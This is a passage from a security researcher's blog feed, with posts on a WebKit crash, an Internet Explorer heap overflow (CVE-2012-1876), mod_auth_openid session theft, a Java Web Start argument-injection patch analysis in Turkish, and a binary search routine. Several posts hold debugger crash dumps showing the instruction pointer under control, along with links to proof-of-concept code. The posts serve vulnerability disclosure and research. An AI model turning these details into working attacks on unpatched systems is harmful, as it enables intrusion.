&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;486&quot; marginheight=&quot;0&quot; marginwidth=&quot;0&quot; mozallowfullscreen=&quot;&quot; scrolling=&quot;no&quot; src=&quot;http://www.slideshare.net/slideshow/embed_code/18432501?rel=0&quot; style=&quot;border-width: 1px 1px 0; border: 1px solid #CCC; margin-bottom: 5px;&quot; webkitallowfullscreen=&quot;&quot; width=&quot;597&quot;&gt; &lt;/iframe&gt;&lt;br /&gt;
&lt;div style=&quot;margin-bottom: 5px;&quot;&gt;
&lt;strong&gt; &lt;a href=&quot;http://www.slideshare.net/CanberkBolat/metasploit-framework-ile-exploit-gelistirme-2013-15-18432501&quot; target=&quot;_blank&quot; title=&quot;Metasploit framework ile exploit gelistirme 2013 1.5&quot;&gt;Metasploit Framework ile Exploit Gelistirme 2013 1.5&lt;/a&gt; &lt;/strong&gt; from &lt;strong&gt;&lt;a href=&quot;http://www.slideshare.net/CanberkBolat&quot; target=&quot;_blank&quot;&gt;Canberk Bolat&lt;/a&gt;&lt;/strong&gt; &lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/8771220284920962526/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2013/04/metasploit-framework-ile-exploit.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/8771220284920962526'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/8771220284920962526'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2013/04/metasploit-framework-ile-exploit.html' title='Metasploit Framework ile Exploit Gelistirme Sunumu'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-1511022491454493072</id><published>2012-09-02T20:00:00.000+03:00</published><updated>2012-09-03T10:11:19.256+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="chrome crash"/><category scheme="http://www.blogger.com/atom/ns#" term="crash"/><category scheme="http://www.blogger.com/atom/ns#" term="null ptr"/><category scheme="http://www.blogger.com/atom/ns#" term="poc"/><category scheme="http://www.blogger.com/atom/ns#" term="webkit"/><category scheme="http://www.blogger.com/atom/ns#" term="webkit bug"/><category scheme="http://www.blogger.com/atom/ns#" term="webkit cssText"/><title type='text'>WebKit cssText NULL Ptr Deref</title><content type='html'>Just tested with Chrome 21.0.1180.89 m (latest version)&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Crash moment:&lt;/b&gt;&lt;br /&gt;
&lt;pre&gt;0:000&amp;gt; r
eax=00000000 ebx=015ccfb0 ecx=00000000 edx=0014ea24 esi=01e00440 edi=01e44630
eip=58fcd2a8 esp=0014e8b0 ebp=0014e8b4 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
chrome_58bf0000!WebCore::CSSValue::cssText+0x8:
58fcd2a8 8b4804          mov     ecx,dword ptr [eax+4] ds:002b:00000004=????????
&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;PoC:&lt;/b&gt;&lt;br /&gt;
&lt;iframe src=&quot;http://pastebin.com/embed_iframe.php?i=Zzaq3WaQ&quot; style=&quot;border: none; width: 100%;&quot;&gt;&lt;/iframe&gt;
&lt;br /&gt;
&lt;br /&gt;
Same bug in old release (19.0.1084.52) http://pastebin.com/Z0pu9jbE</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/1511022491454493072/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2012/09/webkit-csstext-null-ptr-deref.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/1511022491454493072'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/1511022491454493072'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2012/09/webkit-csstext-null-ptr-deref.html' title='WebKit cssText NULL Ptr Deref'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-3922731017298567264</id><published>2012-08-28T02:06:00.000+03:00</published><updated>2012-08-28T02:06:56.782+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="application security"/><category scheme="http://www.blogger.com/atom/ns#" term="cve-2012-2760"/><category scheme="http://www.blogger.com/atom/ns#" term="encryption"/><category scheme="http://www.blogger.com/atom/ns#" term="sqlite"/><category scheme="http://www.blogger.com/atom/ns#" term="sqlite encryption"/><title type='text'>CVE-2012-2760 Session Stealing in mod_auth_openid</title><content type='html'>As advisory describing, mod_auth_openid is vulnerable to session stealing. Because &quot;Session ids are stored insecurely in /tmp/mod_auth_openid.db (default filename). The db is world readable and the session ids are stored unencrypted.&quot; [1]

&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAAYJXirkra2FIANLXdUDWL7WdUHBLJJYf_3IE5xvu6DJCxbQS6hqQMy77I0XMxgWmw36hIlOn7WzRtQoPk92j6RDQBex2DYJ5V2qZaFNy2Uj37cMrkb2n3HlEPA9CTv_kZyPGQwintr0z/s1600/worldwritable.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAAYJXirkra2FIANLXdUDWL7WdUHBLJJYf_3IE5xvu6DJCxbQS6hqQMy77I0XMxgWmw36hIlOn7WzRtQoPk92j6RDQBex2DYJ5V2qZaFNy2Uj37cMrkb2n3HlEPA9CTv_kZyPGQwintr0z/s1600/worldwritable.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Yes, this is important issue and file is accessible by local attackers. But more important issue is database file also accessible by remote attackers in some cases (For example, if application have some kind of arbitrary file download/access vulnerability like LFI) because file is located in tmp folder (apache can access tmp directory) and sqlite db is not encrypted.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDADHueVRa_j8ZQtLEK8RtyYy4fPR1ybT5HxXA3PBETh58H__H3kLLIzD8-Z_PK8WnWQVQGtNyL9oDlwNZU9oUxJaPfLivqgv5RPcRYylbc0kOwsqfJmUjBnFgDyyt0AVEsrCU8GZcYL-M/s1600/not_encrypted.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;201&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDADHueVRa_j8ZQtLEK8RtyYy4fPR1ybT5HxXA3PBETh58H__H3kLLIzD8-Z_PK8WnWQVQGtNyL9oDlwNZU9oUxJaPfLivqgv5RPcRYylbc0kOwsqfJmUjBnFgDyyt0AVEsrCU8GZcYL-M/s400/not_encrypted.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
SQLite is not supporting database file encryption but there are some external libraries that &quot;provides transparent 256-bit AES encryption of database files&quot;. [2]&lt;br /&gt;
&lt;br /&gt;
Dear mod_auth_openid developers, you should use database file encryption. :(&lt;br /&gt;
&lt;br /&gt;
[1] &lt;a href=&quot;http://seclists.org/fulldisclosure/2012/May/238&quot;&gt;http://seclists.org/fulldisclosure/2012/May/238&lt;/a&gt;&lt;br /&gt;
[2]&amp;nbsp;&lt;a href=&quot;http://sqlcipher.net/&quot;&gt;http://sqlcipher.net/&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/3922731017298567264/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2012/08/cve-2012-2760-session-stealing-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/3922731017298567264'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/3922731017298567264'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2012/08/cve-2012-2760-session-stealing-in.html' title='CVE-2012-2760 Session Stealing in mod_auth_openid'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAAYJXirkra2FIANLXdUDWL7WdUHBLJJYf_3IE5xvu6DJCxbQS6hqQMy77I0XMxgWmw36hIlOn7WzRtQoPk92j6RDQBex2DYJ5V2qZaFNy2Uj37cMrkb2n3HlEPA9CTv_kZyPGQwintr0z/s72-c/worldwritable.PNG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-8418382180110973410</id><published>2012-08-15T17:50:00.000+03:00</published><updated>2012-08-15T17:53:32.536+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="binary search"/><category scheme="http://www.blogger.com/atom/ns#" term="javascript"/><category scheme="http://www.blogger.com/atom/ns#" term="programming"/><category scheme="http://www.blogger.com/atom/ns#" term="uniform binary search"/><title type='text'>Uniform Binary Search Implementation in JavaScript</title><content type='html'>&lt;b&gt;Uniform binary search&lt;/b&gt; is an optimization of the classic binary search algorithm invented by Donald Knuth and given in Knuth&#39;s The Art of Computer Programming. It uses a lookup table to update a single array index, rather than taking the midpoint of an upper and a lower bound on each iteration; therefore, it is optimized for architectures (such as Knuth&#39;s MIX) on which&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;a table lookup is generally faster than an addition and a shift, and&amp;nbsp;&lt;/li&gt;
&lt;li&gt;many searches will be performed on the same array, or on several arrays of the same length&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
(Taken from &lt;a href=&quot;http://en.wikipedia.org/wiki/Uniform_binary_search&quot;&gt;http://en.wikipedia.org/wiki/Uniform_binary_search&lt;/a&gt;)&lt;/div&gt;

&lt;br /&gt;
&lt;div&gt;Just simply implemented in JS from original C source of Knuth&#39;s algorithm.&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;
// target = [91, 97, 99, 101, 127, 129, 145]
// will found index of 127 via optimized bin search algo.

thinking...
-----------------
middle of target: 3
127 is bigger than 101
127 is less than 129
127 at index: 4
&lt;/pre&gt;
&lt;br /&gt;
Source: 
&lt;iframe src=&quot;http://pastebin.com/embed_iframe.php?i=xVf2tVq3&quot; style=&quot;border:none;width:100%&quot;&gt;&lt;/iframe&gt;
&lt;a href=&quot;http://jsfiddle.net/VCtqD/1/&quot;&gt;http://jsfiddle.net/VCtqD/1/&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/8418382180110973410/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2012/08/uniform-binary-search-implementation-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/8418382180110973410'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/8418382180110973410'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2012/08/uniform-binary-search-implementation-in.html' title='Uniform Binary Search Implementation in JavaScript'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-5404584746582150338</id><published>2012-07-09T03:11:00.001+03:00</published><updated>2012-07-14T03:51:44.427+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="cve-2012-1876"/><category scheme="http://www.blogger.com/atom/ns#" term="fuzzing"/><category scheme="http://www.blogger.com/atom/ns#" term="heap overflow"/><category scheme="http://www.blogger.com/atom/ns#" term="ie9"/><category scheme="http://www.blogger.com/atom/ns#" term="overflow"/><category scheme="http://www.blogger.com/atom/ns#" term="poc"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability"/><title type='text'>IE Col Element Heap Overflow Vulnerability (CVE-2012-1876) PoC</title><content type='html'>IE Col Element Heap Overflow Vulnerability (CVE-2012-1876) PoC&amp;nbsp;
&lt;br /&gt;
write up soon..
&lt;br /&gt;
&lt;b&gt;UPDATE: &lt;/b&gt; &lt;a href=&quot;http://www.vupen.com/blog/20120710.Advanced_Exploitation_of_Internet_Explorer_HeapOv_CVE-2012-1876.php&quot;&gt;VUPEN&lt;/a&gt; (author of this vulnerability) released detailed blog post about this vulnerability. 

&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://pastebin.com/9L5p7eBP&quot; target=&quot;_blank&quot;&gt;http://pastebin.com/9L5p7eBP&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;CVE-2012-1876 IE col element heap overflow PoC
Canberk Bolat - cbolat.blogspot.com

cg&#39;s width = 2021161 (2021161 * 100 = 0c0c0c04) (Blink-&gt;Flink = cg&#39;s width)

(1014.1158): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c04 ebx=02e2bae8 ecx=008cdf88 edx=0c0c0c0c esi=008de480 edi=008983e0
eip=0c0c0c0c esp=02e2b9fc ebp=02e2ba9c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
0c0c0c0c 0c0c            or      al,0Ch

1:019&gt; !heap -x 0c0c0c0c
List corrupted: (Flink-&gt;Blink = 0c0c0c04) != (Block = 00890850)
HEAP 00830000 (Seg 00830000) At 00890848 Error: block list entry corrupted

List corrupted: (Blink-&gt;Flink = 0c0c0c04) != (Block = 0089d458)
HEAP 00830000 (Seg 00830000) At 0089d450 Error: block list entry corrupted

List corrupted: (Blink-&gt;Flink = 0c0c0c04) != (Block = 008a2f38)
HEAP 00830000 (Seg 00830000) At 008a2f30 Error: block list entry corrupted

ERROR: Block 008ccf90 previous size 36d3 does not match previous block size 12
HEAP 00830000 (Seg 00830000) At 008ccf90 Error: invalid block Previous&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/5404584746582150338/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2012/07/ie-col-element-heap-overflow.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/5404584746582150338'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/5404584746582150338'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2012/07/ie-col-element-heap-overflow.html' title='IE Col Element Heap Overflow Vulnerability (CVE-2012-1876) PoC'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-7267849408366175391</id><published>2012-06-05T15:16:00.000+03:00</published><updated>2012-06-05T15:16:27.425+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="application security"/><category scheme="http://www.blogger.com/atom/ns#" term="appsectr"/><category scheme="http://www.blogger.com/atom/ns#" term="owasp"/><category scheme="http://www.blogger.com/atom/ns#" term="owasp-tr"/><category scheme="http://www.blogger.com/atom/ns#" term="uygulama güvenliği"/><category scheme="http://www.blogger.com/atom/ns#" term="web app security"/><title type='text'>Uygulama Güvenliği Günü - AppSecTR</title><content type='html'>Hemen broşürü bırakıp kaçayım dedim. Detayli bilgi ve kayit için, http://www.appsectr.org&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwsNfl1iPrQ6Z4ajJ5vIUYgGS9dhL41gmvg9DGWd3IMFNSoOuj0CH_h2mhdw8aanYCIvUd_y4rCLj2Ns3ZpSeB9qrmtudexkoDqcog9GgG-3Ydh5u9905WYqDKx8wNn8Ewc4W_Za5R8RU9/s1600/appsectr_brosur.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwsNfl1iPrQ6Z4ajJ5vIUYgGS9dhL41gmvg9DGWd3IMFNSoOuj0CH_h2mhdw8aanYCIvUd_y4rCLj2Ns3ZpSeB9qrmtudexkoDqcog9GgG-3Ydh5u9905WYqDKx8wNn8Ewc4W_Za5R8RU9/s640/appsectr_brosur.jpg&quot; width=&quot;449&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/7267849408366175391/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2012/06/uygulama-guvenligi-gunu-appsectr.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/7267849408366175391'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/7267849408366175391'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2012/06/uygulama-guvenligi-gunu-appsectr.html' title='Uygulama Güvenliği Günü - AppSecTR'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwsNfl1iPrQ6Z4ajJ5vIUYgGS9dhL41gmvg9DGWd3IMFNSoOuj0CH_h2mhdw8aanYCIvUd_y4rCLj2Ns3ZpSeB9qrmtudexkoDqcog9GgG-3Ydh5u9905WYqDKx8wNn8Ewc4W_Za5R8RU9/s72-c/appsectr_brosur.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-2126035502171914893</id><published>2012-02-24T04:24:00.000+02:00</published><updated>2012-02-27T22:51:48.199+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="analiz"/><category scheme="http://www.blogger.com/atom/ns#" term="analysis"/><category scheme="http://www.blogger.com/atom/ns#" term="command argument injection"/><category scheme="http://www.blogger.com/atom/ns#" term="connand injection"/><category scheme="http://www.blogger.com/atom/ns#" term="cve-2012-0500"/><category scheme="http://www.blogger.com/atom/ns#" term="exploit"/><category scheme="http://www.blogger.com/atom/ns#" term="exploiting"/><category scheme="http://www.blogger.com/atom/ns#" term="java"/><category scheme="http://www.blogger.com/atom/ns#" term="java web start"/><category scheme="http://www.blogger.com/atom/ns#" term="javaws"/><category scheme="http://www.blogger.com/atom/ns#" term="patch diff"/><category scheme="http://www.blogger.com/atom/ns#" term="poc"/><category scheme="http://www.blogger.com/atom/ns#" term="remote code execution"/><category scheme="http://www.blogger.com/atom/ns#" term="reversing"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability"/><title type='text'>Java Web Start Cmd Arg Injection</title><content type='html'>ZDI(ZDI-12-039)[1] tarafından bildirilen ve Oracle Şubat CPU ile Java Web Start&#39;ı etkileyen bir zafiyet yamalandı. Zafiyet kısaca daha önce bir benzerini[2] gördüğümüz türden komut satırı argumanlarina mudahele edebiliyoruz. İlgili zafiyetin PoC kodunu yazmak icin ilk olarak JRE 1.6 u30 versiyonunu sisteme kurdum. javaws.exe&#39;nin bir yedegini aldim ve JRE&#39;yi guncelledim. javaws.exe versiyonu 6.0.300.12, guncellenmis versiyon ise 6.0.310.5. Hemen bir patch diff islemi uyguladim. Patch diff islemi icin onceden PatchDiff2 ve Turbodiff gibi yazilimlardan yararlaniyordum fakat DarunGrim3&#39;e bir sans verdim, inanilmaz derecede sureci kolaylastirmis ve hizlandirmis, kullanmak isteyenlere tavsiye ederim. Ayrıca gozu bozmayan, &quot;hacker dostu&quot; bir web arayuzude var :&amp;gt; www.darungrim.org adresinden indirebilirsiniz. Neyse analize gecelim..&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Java Web Start&#39;ta export edilen tek bir fonksiyon var o da &quot;start&quot;. Bu fonksiyon/sub-rutin bir dizi islemden sonra WinMain fonksiyonunu cagiriyor ve oradan da sub_401AAC sub-rutin&#39;ine dogru akis yon degistiriyor. sub_401AAC javaw.exe tarafindan calistirilacak komut satiri argumanlarinin parse edildigi fonsiyon. Bu fonksiyon gercekten cok buyuk ve bircok dongu islemleri icerdigi icin ona pek fazla deginmeyecegim.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKw_fDsJd-SxfdlMDvb0XzhmMdllStw3oK-Az5ZW6cLB42HWlQYV-fwH7DB_wNa7VOb9dvPySTHTXa6ctjoic98ThJlw6jJhHh_s__CgmHrkMe_ErT7iFdAmHNQZHvttEjQ9Ybb-MIU_Cx/s1600/start.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKw_fDsJd-SxfdlMDvb0XzhmMdllStw3oK-Az5ZW6cLB42HWlQYV-fwH7DB_wNa7VOb9dvPySTHTXa6ctjoic98ThJlw6jJhHh_s__CgmHrkMe_ErT7iFdAmHNQZHvttEjQ9Ybb-MIU_Cx/s200/start.PNG&quot; width=&quot;100&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;xrefs to sub_401AAC&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
Bu fonksiyon JNLP dosyasını parse edip ilgili parametrelerle arguman stringi oluşturuyor ve bu argumanlar javaw.exe sureci baslatiliyor. Java Web Start&#39;ın numarası kısaca bu sekilde.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOI71Agusdn2pgbHfV_exKPZsvWHfmFmdRTUuoxcWpw_U9nB37wuYnmAeYiHx2okUp6EgXufuro4mytQZOBll4rSSUxg-zxU7lWh-468y_mFsWG9T59WocEzcCbtdh6cY9-1BD_SGWd6oN/s1600/Capture.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;235&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOI71Agusdn2pgbHfV_exKPZsvWHfmFmdRTUuoxcWpw_U9nB37wuYnmAeYiHx2okUp6EgXufuro4mytQZOBll4rSSUxg-zxU7lWh-468y_mFsWG9T59WocEzcCbtdh6cY9-1BD_SGWd6oN/s320/Capture.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Advisory[1]&#39;de belirtildigi gibi JNLP dosyasındaki&amp;nbsp;java-vm-args parametresi çift tırnak (&lt;b&gt;&quot;&lt;/b&gt;) karakterini denetlemedigi için arguman enjekte etmek mumkun. JNLP dosyalarında java-vm-args parametresi &amp;lt;resources&amp;gt; tagı içerisindeki &amp;lt;j2se&amp;gt; taglarında yer almakta. &amp;lt;j2se&amp;gt; tagı kısaca aciklanacak olursa spesifik Java versiyonlarina ozel bir takim JVM heap degerleri vermeyi sagliyor vs..&lt;br /&gt;
&lt;br /&gt;
Ornek bir JNLP dosyasi asagidaki gibi olabilir.&lt;br /&gt;
&lt;b&gt;example2.jnlp&lt;/b&gt; :&lt;br /&gt;
&lt;pre&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;
&amp;lt;jnlp spec=&quot;1.0+&quot; codebase=&quot;http://localhost/j/h0h0&quot; href=&quot;example2.jnlp&quot;&amp;gt;
&amp;lt;information&amp;gt;
&amp;lt;title&amp;gt;lol&amp;lt;/title&amp;gt;
&amp;lt;/information&amp;gt; 
&amp;lt;resources&amp;gt;
&amp;lt;jar href=&quot;example.jar&quot;/&amp;gt;
&amp;lt;j2se version=&quot;1.6+&quot; java-vm-args=&#39;-esa&#39; max-heap-size=&#39;16m&#39; initial-heap-size=&#39;16m&#39;/&amp;gt;
&amp;lt;/resources&amp;gt;
&amp;lt;application-desc main-class=&quot;Example&quot;/&amp;gt;
&amp;lt;/jnlp&amp;gt;&lt;/pre&gt;
&lt;br /&gt;
Patch diff islemi sonucunda farkettim ki cok fazla bir fonksiyonda degisiklik yapilmamis. Bu gercekten iyi birsey, ms11-100 patch diff isleminde bunun cilesini baya cekmistim. Forms Authentication Bypass, Cache vs.. birbiri ile ilgili bir kac bug birden patch edilmisti ve tespiti zordu.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
